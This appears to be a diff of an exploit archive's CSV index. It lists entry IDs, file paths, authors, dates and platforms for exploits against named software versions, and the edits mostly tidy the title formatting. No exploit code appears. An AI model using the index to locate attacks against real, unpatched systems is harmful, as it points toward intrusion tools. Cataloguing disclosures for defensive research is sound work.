-20545,platforms/windows/webapps/20545.txt,"Cyclope Employee Surveillance Solution v6.0 Multiple Vulnerabilities",2012-08-15,loneferret,windows,webapps,0
+20544,platforms/php/webapps/20544.txt,"xt:Commerce <= 3.04 SP2.1 - Time Based Blind SQL Injection",2012-08-15,stoffline.com,php,webapps,0
+20545,platforms/windows/webapps/20545.txt,"Cyclope Employee Surveillance Solution 6.0 - Multiple Vulnerabilities",2012-08-15,loneferret,windows,webapps,0
 20546,platforms/php/webapps/20546.txt,"sphpforum 0.4 Multiple Vulnerabilities",2012-08-15,loneferret,php,webapps,0
 20547,platforms/windows/remote/20547.txt,"IE Time Element Memory Corruption Exploit (MS11-050)",2012-08-16,Ciph3r,windows,remote,0
-20549,platforms/php/webapps/20549.py,"Roundcube Webmail Version 0.8.0 Stored XSS",2012-08-16,"Shai rod",php,webapps,0
-20550,platforms/php/webapps/20550.txt,"ProQuiz v2.0.2 CSRF Vulnerability",2012-08-16,DaOne,php,webapps,0
+20549,platforms/php/webapps/20549.py,"Roundcube Webmail 0.8.0 - Stored XSS",2012-08-16,"Shai rod",php,webapps,0
+20550,platforms/php/webapps/20550.txt,"ProQuiz 2.0.2 - CSRF Vulnerability",2012-08-16,DaOne,php,webapps,0
 20551,platforms/linux/remote/20551.pl,"E-Mail Security Virtual Appliance (ESVA) Remote Execution",2012-08-16,iJoo,linux,remote,0
 20552,platforms/windows/dos/20552.html,"Internet Explorer 4.0,Outlook 2000/5.5 MSHTML.DLL Crash Vulnerability",2001-01-15,"Thor Larholm",windows,dos,0
 20553,platforms/windows/remote/20553.html,"Microsoft Windows Media Player 7.0 .WMZ Arbitrary Java Applet Vulnerability",2001-01-15,"Georgi Guninski",windows,remote,0
@@ -17872,9 +17872,9 @@ id,file,description,date,author,platform,type,port
 20569,platforms/linux/remote/20569.c,"mICQ 0.4.6 Remote Buffer Overflow Vulnerability",2001-01-17,"tHE rECIdjVO",linux,remote,0
 20570,platforms/cgi/remote/20570.txt,"Sambar Server 4.1 beta Admin Access Vulnerability",1998-06-10,"Michiel de Weerd",cgi,remote,0
 20571,platforms/windows/remote/20571.txt,"Microsoft Outlook 2000 0/98 0/Express 5.5 Concealed Attachment Vulnerability",2001-01-17,http-equiv,windows,remote,0
-20573,platforms/php/webapps/20573.html,"Jaow CMS v2.3 CSRF Vulnerability",2012-08-17,DaOne,php,webapps,0
-20574,platforms/php/webapps/20574.txt,"Social Engine v4.2.5 Multiple Vulnerabilities",2012-08-17,Vulnerability-Lab,php,webapps,0
-20575,platforms/windows/webapps/20575.txt,"ManageEngine OpStor v7.4 Multiple Vulnerabilities",2012-08-17,Vulnerability-Lab,windows,webapps,0
+20573,platforms/php/webapps/20573.html,"Jaow CMS 2.3 - CSRF Vulnerability",2012-08-17,DaOne,php,webapps,0
+20574,platforms/php/webapps/20574.txt,"Social Engine 4.2.5 - Multiple Vulnerabilities",2012-08-17,Vulnerability-Lab,php,webapps,0
+20575,platforms/windows/webapps/20575.txt,"ManageEngine OpStor 7.4 - Multiple Vulnerabilities",2012-08-17,Vulnerability-Lab,windows,webapps,0
 20576,platforms/php/webapps/20576.txt,"Inferno vBShout <= 2.5.2 SQL Injection",2012-08-17,Luit,php,webapps,0
 20578,platforms/php/webapps/20578.pl,"Hastymail2 Webmail 1.1 RC2 Stored XSS",2012-08-17,"Shai rod",php,webapps,0
 20579,platforms/php/webapps/20579.py,"T-dah Webmail Multiple Stored XSS",2012-08-17,"Shai rod",php,webapps,0
@@ -17893,10 +17893,10 @@ id,file,description,date,author,platform,type,port
 20592,platforms/jsp/remote/20592.txt,"Oracle 8.1.7 JSP/JSPSQL Remote File Reading Vulnerability",2000-01-22,"Georgi Guninski",jsp,remote,0
 20593,platforms/freebsd/remote/20593.txt,"FreeBSD 3.x/4.x ipfw Filtering Evasion Vulnerability",2001-01-23,"Aragon Gouveia",freebsd,remote,0
 20594,platforms/unix/remote/20594.txt,"Wu-Ftpd 2.4.2/2.5/2.6 Debug Mode Client Hostname Format String Vulnerability",2001-01-23,"Wu-ftpd team",unix,remote,0
-20595,platforms/multiple/remote/20595.txt,"NCSA 1.3/1.4.x/1.5,Apache httpd 0.8.11/0.8.14  ScriptAlias Source Retrieval Vulnerability",1999-09-25,Anonymous,multiple,remote,0
+20595,platforms/multiple/remote/20595.txt,"NCSA 1.3/1.4.x/1.5,Apache httpd 0.8.11/0.8.14 ScriptAlias Source Retrieval Vulnerability",1999-09-25,Anonymous,multiple,remote,0
 20596,platforms/windows/dos/20596.c,"Microsoft Windows NT 4.0 Networking Mutex DoS Vulnerability",2001-01-24,"Arne Vidstrom",windows,dos,0
 20597,platforms/linux/remote/20597.txt,"Majordomo 1.89/1.90 lists Command Execution Vulnerability",1994-06-06,"Razvan Dragomirescu",linux,remote,0
-20598,platforms/php/webapps/20598.txt,"Jaow CMS  v2.3 Blind SQLi Vulnerability",2012-08-17,loneferret,php,webapps,0
+20598,platforms/php/webapps/20598.txt,"Jaow CMS 2.3 - Blind SQLi Vulnerability",2012-08-17,loneferret,php,webapps,0
 20599,platforms/unix/remote/20599.sh,"Sendmail 8.6.9 IDENT Remote root Vulnerability",1994-02-24,CIAC,unix,remote,0
 20600,platforms/windows/remote/20600.c,"SmartMax MailMax 1.0 SMTP Buffer Overflow Vulnerability",1999-02-13,_mcp_,windows,remote,0
 20601,platforms/multiple/remote/20601.txt,"iWeb Hyperseek 2000 Directory Traversal Vulnerability",2001-01-28,"MC GaN",multiple,remote,0
@@ -17941,7 +17941,7 @@ id,file,description,date,author,platform,type,port
 20640,platforms/windows/remote/20640.txt,"Working Resources BadBlue 1.2.7 Path Disclosure Vulnerability",2001-02-20,"SNS Research",windows,remote,0
 20641,platforms/windows/dos/20641.txt,"Working Resources BadBlue 1.2.7 DoS Vulnerability",2001-02-20,"SNS Research",windows,dos,0
 20642,platforms/cgi/remote/20642.pl,"Adcycle 0.77/0.78 AdLibrary.pm Session Access Vulnerability",2001-02-19,"Neil K",cgi,remote,0
-20643,platforms/windows/webapps/20643.txt,"ManageEngine OpUtils v6 Stored XSS",2012-08-18,loneferret,windows,webapps,7080
+20643,platforms/windows/webapps/20643.txt,"ManageEngine OpUtils 6.0 - Stored XSS",2012-08-18,loneferret,windows,webapps,7080
 20644,platforms/hardware/dos/20644.c,"Marconi ASX-1000 Administration Denial Of Service Vulnerability",2001-02-19,"J.K. Garvey",hardware,dos,0
 20645,platforms/linux/local/20645.c,"Elm 2.5.3 Alternative-Folder Buffer Overflow Vulnerability",2001-02-13,_kiss_,linux,local,0
 20646,platforms/unix/remote/20646.c,"LICQ 0.85/1.0.1/1.0.2 Remote Buffer Overflow Vulnerability",2000-12-26,"Stan Bubrouski",unix,remote,0
@@ -17996,12 +17996,12 @@ id,file,description,date,author,platform,type,port
 20697,platforms/unix/local/20697.c,"DG/UX 4.20 lpsched Long Error Message Buffer Overflow Vulnerability",2001-03-19,"Luciano Rocha",unix,local,0
 20702,platforms/windows/remote/20702.rb,"Sysax Multi Server 5.64 Create Folder Buffer Overflow",2012-08-21,metasploit,windows,remote,0
 20703,platforms/php/webapps/20703.txt,"XODA Document Management System v0.4.5 XSS & Arbitrary File Upload",2012-08-21,"Shai rod",php,webapps,0
-20704,platforms/php/webapps/20704.txt,"Clipbucket v2.5 Directory Traversal",2012-08-21,loneferret,php,webapps,0
+20704,platforms/php/webapps/20704.txt,"Clipbucket 2.5 - Directory Traversal",2012-08-21,loneferret,php,webapps,0
 20705,platforms/multiple/dos/20705.py,"SAP Netweaver Dispatcher 7.0 EHP1/2 Multiple Vulnerabilities",2012-08-21,"Core Security",multiple,dos,0
 20706,platforms/linux/webapps/20706.rb,"Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change (MSF)",2012-08-21,Kc57,linux,webapps,0
 20707,platforms/linux/webapps/20707.py,"Symantec Web Gateway <= 5.0.3.18 Arbitrary Password Change",2012-08-21,Kc57,linux,webapps,0
-20708,platforms/php/webapps/20708.txt,"Clipbucket v2.5 Blind SQLi Vulnerability",2012-08-21,loneferret,php,webapps,0
-20709,platforms/php/webapps/20709.html,"OpenDocMan v1.2.6.1 Password Change CSRF",2012-08-22,"Shai rod",php,webapps,0
+20708,platforms/php/webapps/20708.txt,"Clipbucket 2.5 - Blind SQLi Vulnerability",2012-08-21,loneferret,php,webapps,0
+20709,platforms/php/webapps/20709.html,"OpenDocMan 1.2.6.1 - Password Change CSRF",2012-08-22,"Shai rod",php,webapps,0
 20710,platforms/php/webapps/20710.html,"VamCart v0.9 CSRF Vulnerability",2012-08-22,DaOne,php,webapps,0
 20712,platforms/cgi/webapps/20712.rb,"E-Mail Security Virtual Appliance learn-msg.cgi Command Injection",2012-08-22,metasploit,cgi,webapps,0
 20713,platforms/php/webapps/20713.rb,"XODA 0.4.5 Arbitrary PHP File Upload Vulnerability",2012-08-22,metasploit,php,webapps,0
@@ -18047,7 +18047,7 @@ id,file,description,date,author,platform,type,port
 20753,platforms/cgi/remote/20753.txt,"IBM Websphere/Net.Commerce 3 CGI-BIN Macro Denial of Service Vulnerability",2001-04-13,"ET LoWNOISE",cgi,remote,0
 20758,platforms/windows/remote/20758.c,"Vice City Multiplayer Server 0.3z R2 Remote Code Execution",2012-08-23,Sasuke78200,windows,remote,0
 20759,platforms/php/webapps/20759.txt,"LetoDMS 3.3.6 Multiple Vulnerabilities",2012-08-23,"Shai rod",php,webapps,0
-20760,platforms/php/webapps/20760.txt,"op5 Monitoring v5.4.2 (VM Applicance) Multiple Vulnerabilities",2012-08-23,loneferret,php,webapps,0
+20760,platforms/php/webapps/20760.txt,"op5 Monitoring 5.4.2 - (VM Applicance) Multiple Vulnerabilities",2012-08-23,loneferret,php,webapps,0
 20761,platforms/php/webapps/20761.txt,"Ad Manager Pro v. 4 LFI",2012-08-23,CorryL,php,webapps,0
 20762,platforms/php/webapps/20762.php,"WebPA <= 1.1.0.1 Multiple Vulnerabilities",2012-08-24,dun,php,webapps,0
 20763,platforms/windows/dos/20763.c,"Microsoft ISA Server 2000 Web Proxy DoS Vulnerability",2001-04-16,"SecureXpert Labs",windows,dos,0
@@ -18093,10 +18093,10 @@ id,file,description,date,author,platform,type,port
 20804,platforms/irix/local/20804.c,"IRIX 5.3/6.x 'netprint' Arbitrary Shared Library Usage Vulnerability",2001-04-26,V9,irix,local,0
 20805,platforms/irix/remote/20805.c,"SGI IRIX 3/4/5/6,OpenLinux 1.0/1.1 routed traceon Vulnerability",1998-10-21,Rootshell,irix,remote,0
 20806,platforms/hardware/remote/20806.txt,"Tektronix Phaser 740/750/850/930 Network Printer Administration Interface Vulnerability",2001-04-25,Ltlw0lf,hardware,remote,0
-20807,platforms/multiple/remote/20807.txt,"DataWizard WebXQ 2.1.204  Directory Traversal Vulnerability",2001-04-27,joetesta,multiple,remote,0
+20807,platforms/multiple/remote/20807.txt,"DataWizard WebXQ 2.1.204 Directory Traversal Vulnerability",2001-04-27,joetesta,multiple,remote,0
 20808,platforms/cgi/remote/20808.txt,"PerlCal 2.x Directory Traversal Vulnerability",2001-04-27,ThePike,cgi,remote,0
 20809,platforms/cgi/remote/20809.html,"Excite for Web Servers 1.1 Administrative Password Vulnerability",1998-11-30,"Michael Gerdts",cgi,remote,0
-20810,platforms/multiple/remote/20810.c,"FreeBSD 2.x,HP-UX 9/10/11,kernel 2.0.3,Windows NT 4.0/Server 2003,NetBSD 1 loopback (land.c) DoS  (1)",1997-11-20,m3lt,multiple,remote,0
+20810,platforms/multiple/remote/20810.c,"FreeBSD 2.x,HP-UX 9/10/11,kernel 2.0.3,Windows NT 4.0/Server 2003,NetBSD 1 loopback (land.c) DoS (1)",1997-11-20,m3lt,multiple,remote,0
 20811,platforms/multiple/remote/20811.cpp,"FreeBSD 2.x,HP-UX 9/10/11,kernel 2.0.3,Windows NT 4.0/Server 2003,NetBSD 1 loopback (land.c) DoS (2)",1997-11-20,"Konrad Malewski",multiple,remote,0
 20812,platforms/windows/remote/20812.c,"FreeBSD 2.x,HP-UX 9/10/11,kernel 2.0.3,Windows NT 4.0/Server 2003,NetBSD 1 loopback (land.c) DoS (3)",1997-11-20,m3lt,windows,remote,0
 20813,platforms/multiple/remote/20813.c,"FreeBSD 2.x,HP-UX 9/10/11,kernel 2.0.3,Windows NT 4.0/Server 2003,NetBSD 1 loopback (land.c) DoS (4)",1997-11-20,MondoMan,multiple,remote,0
@@ -18152,11 +18152,11 @@ id,file,description,date,author,platform,type,port
 20865,platforms/java/remote/20865.rb,"Java 7 Applet Remote Code Execution",2012-08-27,metasploit,java,remote,0
 20866,platforms/php/webapps/20866.txt,"Aoop CMS 0.3.6 Multiple Vulnerabilities",2012-08-27,"Julien Ahrens",php,webapps,0
 20867,platforms/linux/local/20867.txt,"ARCservIT 6.61/6.63 Client asagent.tmp Arbitrary File Overwrite Vulnerability",2001-05-18,"Jonas Eriksson",linux,local,0
-20868,platforms/linux/local/20868.txt,"ARCservIT 6.61/6.63  Client inetd.tmp Arbitrary File Overwrite Vulnerability",2001-05-18,"Jonas Eriksson",linux,local,0
+20868,platforms/linux/local/20868.txt,"ARCservIT 6.61/6.63 Client inetd.tmp Arbitrary File Overwrite Vulnerability",2001-05-18,"Jonas Eriksson",linux,local,0
 20869,platforms/multiple/remote/20869.html,"eSafe Gateway 2.1 Script-filtering Bypass Vulnerability",2001-05-20,"eDvice Security Services",multiple,remote,0
-20870,platforms/windows/dos/20870.pl,"Express Burn Plus v4.58 EBP Project File Handling Buffer Overflow PoC",2012-08-28,LiquidWorm,windows,dos,0
-20871,platforms/php/webapps/20871.txt,"CommPort 1.01 <= Multiple Vulnerabilities",2012-08-28,"Jean Pascal Pereira",php,webapps,0
-20872,platforms/php/webapps/20872.txt,"mieric addressBook 1.0 <= SQL Injection Vulnerability",2012-08-28,"Jean Pascal Pereira",php,webapps,0
+20870,platforms/windows/dos/20870.pl,"Express Burn Plus 4.58 - EBP Project File Handling Buffer Overflow PoC",2012-08-28,LiquidWorm,windows,dos,0
+20871,platforms/php/webapps/20871.txt,"CommPort <= 1.01 - Multiple Vulnerabilities",2012-08-28,"Jean Pascal Pereira",php,webapps,0
+20872,platforms/php/webapps/20872.txt,"mieric addressBook <= 1.0 - SQL Injection Vulnerability",2012-08-28,"Jean Pascal Pereira",php,webapps,0
 20873,platforms/php/webapps/20873.html,"RV Article Publisher CSRF Vulnerability",2012-08-28,DaOne,php,webapps,0
 20874,platforms/php/webapps/20874.html,"RV Shopping Cart CSRF Vulnerability",2012-08-28,DaOne,php,webapps,0
 20876,platforms/windows/remote/20876.pl,"Simple Web Server 2.2-rc2 ASLR Bypass Exploit",2012-08-28,pole,windows,remote,0
@@ -18175,13 +18175,13 @@ id,file,description,date,author,platform,type,port
 20889,platforms/multiple/remote/20889.txt,"GNU Privacy Guard 1.0.x Format String Vulnerability",2001-05-29,"fish stiqz",multiple,remote,0
 20890,platforms/multiple/remote/20890.txt,"Aladdin Knowledge Systems eSafe Gateway 3.0 HTML tag Script-filtering Bypass Vulnerability",2001-05-29,"eDvice Security Services",multiple,remote,0
 20891,platforms/multiple/remote/20891.txt,"Aladdin Knowledge Systems eSafe Gateway 3.0 Unicode Script-filtering Bypass Vulnerability",2001-05-29,"eDvice Security Services",multiple,remote,0
-20892,platforms/hardware/remote/20892.txt,"Olicom XLT-F XL 80 IM V5.5BL2 Undocumented Community String Vulnerability",2001-03-25,"Jacek Lipkowski",hardware,remote,0
+20892,platforms/hardware/remote/20892.txt,"Olicom XLT-F XL 80 IM V5.5BL2 - Undocumented Community String Vulnerability",2001-03-25,"Jacek Lipkowski",hardware,remote,0
 20893,platforms/windows/remote/20893.txt,"Trend Micro InterScan VirusWall for Windows NT 3.4/3.5/3.51 Remote Reconfiguration Vulnerability",2001-05-24,snsadv,windows,remote,0
-20894,platforms/multiple/remote/20894.txt,"Acme.Serve v1.7 Arbitrary File Access Vulnerability",2001-05-31,"Adnan Rahman",multiple,remote,0
+20894,platforms/multiple/remote/20894.txt,"Acme.Serve 1.7 - Arbitrary File Access Vulnerability",2001-05-31,"Adnan Rahman",multiple,remote,0
 20895,platforms/cgi/remote/20895.txt,"WebTrends Enterprise Reporting Server 3.1 c/3.5 Source Code Disclosure",2001-06-03,"Auriemma Luigi",cgi,remote,0
 20896,platforms/windows/remote/20896.txt,"OReilly Software WebBoard 4.10.30 Pager Hostile JavaScript Vulnerability",2001-06-02,"Helmuth Antholzer",windows,remote,0
-20897,platforms/linux/local/20897.sh,"Debian 2.1/2.2 Man Malicious Cache File Creation Vulnerability",2001-06-01,jenggo,linux,local,0
-20898,platforms/linux/local/20898.sh,"RedHat 6.1/6.2/7.0/7.1 Man Malicious Cache File Creation Vulnerability",2001-05-18,jenggo,linux,local,0
+20897,platforms/linux/local/20897.sh,"Debian 2.1/2.2 - Man Cache File Creation Vulnerability",2001-06-01,jenggo,linux,local,0
+20898,platforms/linux/local/20898.sh,"RedHat 6.1/6.2/7.0/7.1 - Man Cache File Creation Vulnerability",2001-05-18,jenggo,linux,local,0
 20899,platforms/windows/remote/20899.txt,"Microsoft Outlook 97/98/2000/4/5 Address Book Spoofing Vulnerability",2001-06-05,3APA3A,windows,remote,0
 20900,platforms/linux/local/20900.txt,"Exim 3.x Format String Vulnerability",2001-06-06,"Megyer Laszlo",linux,local,0
 20901,platforms/linux/local/20901.c,"Sudo 1.5/1.6 Heap Corruption Vulnerability",2001-02-22,MaXX,linux,local,0
@@ -18284,14 +18284,14 @@ id,file,description,date,author,platform,type,port
 21003,platforms/windows/remote/21003.txt,"Microsoft Outlook 98/2000/2002 Unauthorized Email Access Vulnerability",2001-07-12,"Georgi Guninski",windows,remote,0
 21004,platforms/windows/remote/21004.txt,"Microsoft Outlook 98/2000/2002 Arbitrary Code Execution Vulnerability",2001-07-12,"Georgi Guninski",windows,remote,0
 21005,platforms/php/webapps/21005.txt,"Admidio 2.3.5 Multiple Vulnerabilities",2012-09-02,"Stefan Schurtz",php,webapps,0
-21006,platforms/windows/dos/21006.txt,"MAILsweeper for SMTP 4.2.1 ,F-Secure Anti-Virus 5.0.2/5.2.1 File Scanner Malicious Archive DoS",2001-07-12,"Michel Arboi",windows,dos,0
+21006,platforms/windows/dos/21006.txt,"MAILsweeper - SMTP 4.2.1 + F-Secure Anti-Virus 5.0.2 & 5.2.1 - File Scanner Malicious Archive DoS",2001-07-12,"Michel Arboi",windows,dos,0
 21007,platforms/php/webapps/21007.txt,"AV Arcade Free Edition (add_rating.php, id parameter) Blind SQL Injection",2012-09-02,DaOne,php,webapps,0
 21008,platforms/cgi/remote/21008.txt,"Interactive Story 1.3 Directory Traversal Vulnerability",2001-07-15,qDefense,cgi,remote,0
 21009,platforms/windows/remote/21009.c,"ArGoSoft FTP Server 1.2.2 .2 Weak Password Encryption Vulnerability",2001-07-12,byterage,windows,remote,0
 21010,platforms/linux/local/21010.sh,"XFree86 X11R6 3.3.2 XMan ManPath Environment Variable Buffer Overflow",2001-06-11,kf,linux,local,0
 21011,platforms/hardware/remote/21011.pl,"3Com SuperStack II PS Hub 40 TelnetD Weak Password Protection Vulnerability",2001-07-12,Siberian,hardware,remote,0
 21012,platforms/multiple/dos/21012.c,"ID Software Quake 1.9 Denial of Service Vulnerability",2001-07-17,"Andy Gavin",multiple,dos,0
-21014,platforms/linux/local/21014.c,"Slackware 7.0/7.1/8.0 Malicious Manual Page Cache File Creation Vulnerability",2001-07-17,josh,linux,local,0
+21014,platforms/linux/local/21014.c,"Slackware 7.0/7.1/8.0 - Manual Page Cache File Creation Vulnerability",2001-07-17,josh,linux,local,0
 21015,platforms/hardware/remote/21015.pl,"Check Point Firewall-1 4 SecureRemote Network Information Leak Vulnerability",2001-07-17,"Haroon Meer & Roelof Temmingh",hardware,remote,0
 21016,platforms/windows/remote/21016.c,"ID Software Quake 3 ""smurf attack"" Denial of Service vulnerability",2001-07-17,"Andy Gavin",windows,remote,0
 21017,platforms/linux/remote/21017.txt,"Squid Web Proxy 2.3 Reverse Proxy Vulnerability",2001-07-18,"Paul Nasrat",linux,remote,0
@@ -18329,7 +18329,7 @@ id,file,description,date,author,platform,type,port
 21050,platforms/linux/remote/21050.c,"NCSA httpd 1.x Buffer Overflow Vulnerability (2)",1995-02-17,Xtremist,linux,remote,0
 21052,platforms/jsp/webapps/21052.txt,"JIRA 4.4.3, GreenHopper < 5.9.8 Multiple Vulnerabilities",2012-09-04,"Hoyt LLC Research",jsp,webapps,0
 21053,platforms/multiple/webapps/21053.txt,"Splunk <= 4.3.3 Arbitrary File Read",2012-09-04,"Marcio Almeida",multiple,webapps,0
-21054,platforms/php/webapps/21054.txt,"Support4Arabs Pages v2.0 SQL Injection Vulnerability",2012-09-04,L0n3ly-H34rT,php,webapps,0
+21054,platforms/php/webapps/21054.txt,"Support4Arabs Pages 2.0 - SQL Injection Vulnerability",2012-09-04,L0n3ly-H34rT,php,webapps,0
 21056,platforms/php/webapps/21056.txt,"Group Office Calendar (calendar/json.php) SQL Injection",2012-09-04,"Chris Cooper",php,webapps,0
 21057,platforms/windows/remote/21057.txt,"MS IIS 4/5/6 Internal IP Address/Internal Network Name Disclosure Vulnerability",2001-08-08,"Marek Roy",windows,remote,0
 21058,platforms/solaris/local/21058.c,"Solaris 2.6/7/8 SPARC xlock Heap Overflow Vulnerability",2001-08-10,Nsfocus,solaris,local,0
@@ -18357,7 +18357,7 @@ id,file,description,date,author,platform,type,port
 21080,platforms/multiple/remote/21080.rb,"JBoss DeploymentFileRepository WAR Deployment (via JMXInvokerServlet)",2012-09-05,metasploit,multiple,remote,0
 21081,platforms/hardware/webapps/21081.txt,"QNAP Turbo NAS TS-1279U-RP Multiple Path Injection",2012-09-05,"Andrea Fabrizi",hardware,webapps,0
 21082,platforms/multiple/webapps/21082.txt,"Novell Sentinel Log Manager <= 1.2.0.1 Directory Traversal",2011-12-18,"Andrea Fabrizi",multiple,webapps,0
-21084,platforms/php/webapps/21084.txt,"ES Job Search Engine v3.0 SQL Injection Vulnerability",2012-09-05,Vulnerability-Lab,php,webapps,0
+21084,platforms/php/webapps/21084.txt,"ES Job Search Engine 3.0 - SQL Injection Vulnerability",2012-09-05,Vulnerability-Lab,php,webapps,0
 21085,platforms/asp/webapps/21085.txt,"Ektron CMS 8.5.0 Multiple Vulnerabilities",2012-09-05,"Sense of Security",asp,webapps,0
 21088,platforms/unix/remote/21088.pl,"AOLServer 3 Long Authentication String Buffer Overflow Vulnerability (1)",2001-08-22,"Nate Haggard",unix,remote,0
 21089,platforms/unix/remote/21089.c,"AOLServer 3 Long Authentication String Buffer Overflow Vulnerability (2)",2001-09-05,qitest1,unix,remote,0
@@ -18402,7 +18402,7 @@ id,file,description,date,author,platform,type,port
 21129,platforms/cgi/remote/21129.java,"iBill Management Script Weak Hard-Coded Password Vulnerability",2001-10-25,"MK Ultra",cgi,remote,0
 21130,platforms/windows/local/21130.c,"Microsoft Windows NT 3/4 CSRSS Memory Access Violation Vulnerability",2001-10-26,"Michael Wojcik",windows,local,0
 21131,platforms/windows/dos/21131.txt,"Microsoft Windows 2000/XP GDI Denial of Service Vulnerability",2001-10-29,PeterB,windows,dos,0
-21132,platforms/php/webapps/21132.txt,"Cannonbolt Portfolio Manager v1.0 Multiple Vulnerabilities",2012-09-07,LiquidWorm,php,webapps,0
+21132,platforms/php/webapps/21132.txt,"Cannonbolt Portfolio Manager 1.0 - Multiple Vulnerabilities",2012-09-07,LiquidWorm,php,webapps,0
 21133,platforms/php/webapps/21133.txt,"Clipster Video Persistent XSS Vulnerability",2012-09-07,DaOne,php,webapps,0
 21134,platforms/hardware/webapps/21134.txt,"Sitecom Home Storage Center Auth Bypass Vulnerability",2012-09-07,"Mattijs van Ommeren",hardware,webapps,0
 21135,platforms/php/webapps/21135.txt,"TestLink 1.9.3 CSRF Vulnerability",2012-09-07,"High-Tech Bridge SA",php,webapps,0
@@ -18429,7 +18429,7 @@ id,file,description,date,author,platform,type,port
 21159,platforms/linux/local/21159.c,"S.u.S.E 6.4/7.0/7.1/7.2 Berkeley Parallel Make Buffer Overflow Vulnerability",2001-11-21,IhaQueR@IRCnet,linux,local,0
 21160,platforms/multiple/remote/21160.txt,"IBM Informix Web Datablade 3.x/4.1 Directory Traversal Vulnerability",2001-11-22,"Beck Mr.R",multiple,remote,0
 21161,platforms/unix/remote/21161.txt,"Wu-Ftpd 2.6 File Globbing Heap Corruption Vulnerability",2001-11-27,"Core Security Technologies",unix,remote,0
-21162,platforms/windows/dos/21162.pl,"Cooolsoft PowerFTP Server 2.0 3/2.10  Multiple Denial Of Service Vulnerability (1)",2001-11-29,"Alex Hernandez",windows,dos,0
+21162,platforms/windows/dos/21162.pl,"Cooolsoft PowerFTP Server 2.0 3/2.10 Multiple Denial Of Service Vulnerability (1)",2001-11-29,"Alex Hernandez",windows,dos,0
 21163,platforms/windows/dos/21163.pl,"Cooolsoft PowerFTP Server 2.0 3/2.10 Multiple Denial Of Service Vulnerability (2)",2001-11-29,"Alex Hernandez",windows,dos,0
 21164,platforms/windows/remote/21164.txt,"Microsoft Internet Explorer 5.5/6.0 Spoofable File Extensions Vulnerability",2001-11-26,StatiC,windows,remote,0
 21165,platforms/php/webapps/21165.txt,"PHPNuke 1.0/2.5/3.0/4.x/5.x/6.x/7.x user.php uname Parameter XSS Vulnerability",2001-12-03,"Cabezon Aurélien",php,webapps,0
@@ -18457,8 +18457,8 @@ id,file,description,date,author,platform,type,port
 21187,platforms/cgi/webapps/21187.txt,"Aktivate 1.0 3 Shopping Cart Cross-Site Scripting Vulnerability",2001-12-18,"Tamer Sahin",cgi,webapps,0
 21188,platforms/windows/remote/21188.c,"Windows 98/XP/ME UPnP NOTIFY Buffer Overflow Vulnerability (1)",2001-12-20,"Gabriel Maggiotti",windows,remote,0
 21189,platforms/windows/remote/21189.c,"Windows 98/XP/ME UPnP NOTIFY Buffer Overflow Vulnerability (2)",2001-12-20,JOCANOR,windows,remote,0
-21190,platforms/linux/remote/21190.rb,"WAN Emulator v2.3 Command Execution",2012-09-10,metasploit,linux,remote,0
-21191,platforms/linux/remote/21191.rb,"Openfiler v2.x NetworkCard Command Execution",2012-09-10,metasploit,linux,remote,0
+21190,platforms/linux/remote/21190.rb,"WAN Emulator 2.3 - Command Execution",2012-09-10,metasploit,linux,remote,0
+21191,platforms/linux/remote/21191.rb,"Openfiler 2.x - NetworkCard Command Execution",2012-09-10,metasploit,linux,remote,0
 21192,platforms/linux/remote/21192.c,"STunnel 3.x Client Negotiation Protocol Format String Vulnerability",2001-12-22,deltha,linux,remote,0
 21193,platforms/multiple/remote/21193.txt,"DeleGate 7.7.1 Cross-Site Scripting Vulnerability",2001-12-28,"SNS Research",multiple,remote,0
 21194,platforms/cgi/remote/21194.txt,"Abe Timmerman zml.cgi File Disclosure Vulnerability",2001-12-31,blackshell,cgi,remote,0
@@ -18487,7 +18487,7 @@ id,file,description,date,author,platform,type,port
 21217,platforms/linux/local/21217.sh,"CDRDAO 1.1.x Home Directory Configuration File Symbolic Link Vulnerability (2)",2002-01-13,atomi,linux,local,0
 21218,platforms/linux/local/21218.sh,"CDRDAO 1.1.x Home Directory Configuration File Symbolic Link Vulnerability (3)",2002-01-13,Anonymous,linux,local,0
 21219,platforms/linux/local/21219.sh,"CDRDAO 1.1.x Home Directory Configuration File Symbolic Link Vulnerability (4)",2002-01-13,"Karol Wiesek",linux,local,0
-21220,platforms/php/webapps/21220.txt,"VICIDIAL Call Center Suite <=2.2.1-237 Multiple Vulnerabilities",2012-09-10,"Sepahan TelCom IT Group",php,webapps,0
+21220,platforms/php/webapps/21220.txt,"VICIDIAL Call Center Suite <= 2.2.1-237 - Multiple Vulnerabilities",2012-09-10,"Sepahan TelCom IT Group",php,webapps,0
 21221,platforms/php/webapps/21221.txt,"Joomla RokModule Component (index.php, module parameter) Blind SQLi",2012-09-10,Yarolinux,php,webapps,0
 21222,platforms/php/webapps/21222.txt,"SiteGo Remote File Inclusion Vulnerability",2012-09-10,L0n3ly-H34rT,php,webapps,0
 21224,platforms/lin_x86-64/dos/21224.c,"Oracle VM VirtualBox 4.1 Local Denial of Service Vulnerability",2012-09-10,halfdog,lin_x86-64,dos,0
@@ -18495,7 +18495,7 @@ id,file,description,date,author,platform,type,port
 21226,platforms/linux/local/21226.c,"IMLib2 Home Environment Variable Buffer Overflow Vulnerability",2002-01-13,"Charles Stevenson",linux,local,0
 21227,platforms/linux/local/21227.sh,"Sudo 1.6.3 Unclean Environment Variable Root Program Execution Vulnerability",2002-01-14,"Charles Stevenson",linux,local,0
 21228,platforms/windows/remote/21228.c,"Sambar Server 5.1 Sample Script Denial Of Service Vulnerability",2002-02-06,"Tamer Sahin",windows,remote,0
-21229,platforms/linux/local/21229.txt,"AT 3.1.8 Maliciously Formatted Time Heap Overflow Vulnerability",2002-01-16,"SuSE Security",linux,local,0
+21229,platforms/linux/local/21229.txt,"AT 3.1.8 - Formatted Time Heap Overflow Vulnerability",2002-01-16,"SuSE Security",linux,local,0
 21230,platforms/php/webapps/21230.txt,"PHPNuke 4.x/5.x Remote Arbitrary File Include Vulnerability",2002-01-16,"Handle Nopman",php,webapps,0
 21231,platforms/linux/local/21231.c,"Chinput 3.0 Environment Variable Buffer Overflow Vulnerability",2002-01-16,xperc,linux,local,0
 21232,platforms/multiple/dos/21232.c,"Oracle 8i dbsnmp Command Remote Denial of Service Vulnerability",2002-01-17,benjurry,multiple,dos,0
@@ -18517,7 +18517,7 @@ id,file,description,date,author,platform,type,port
 21248,platforms/linux/local/21248.txt,"User-Mode Linux Kernel 2.4.17 -8 Memory Access Vulnerability",2000-08-25,"Andrew Griffiths",linux,local,0
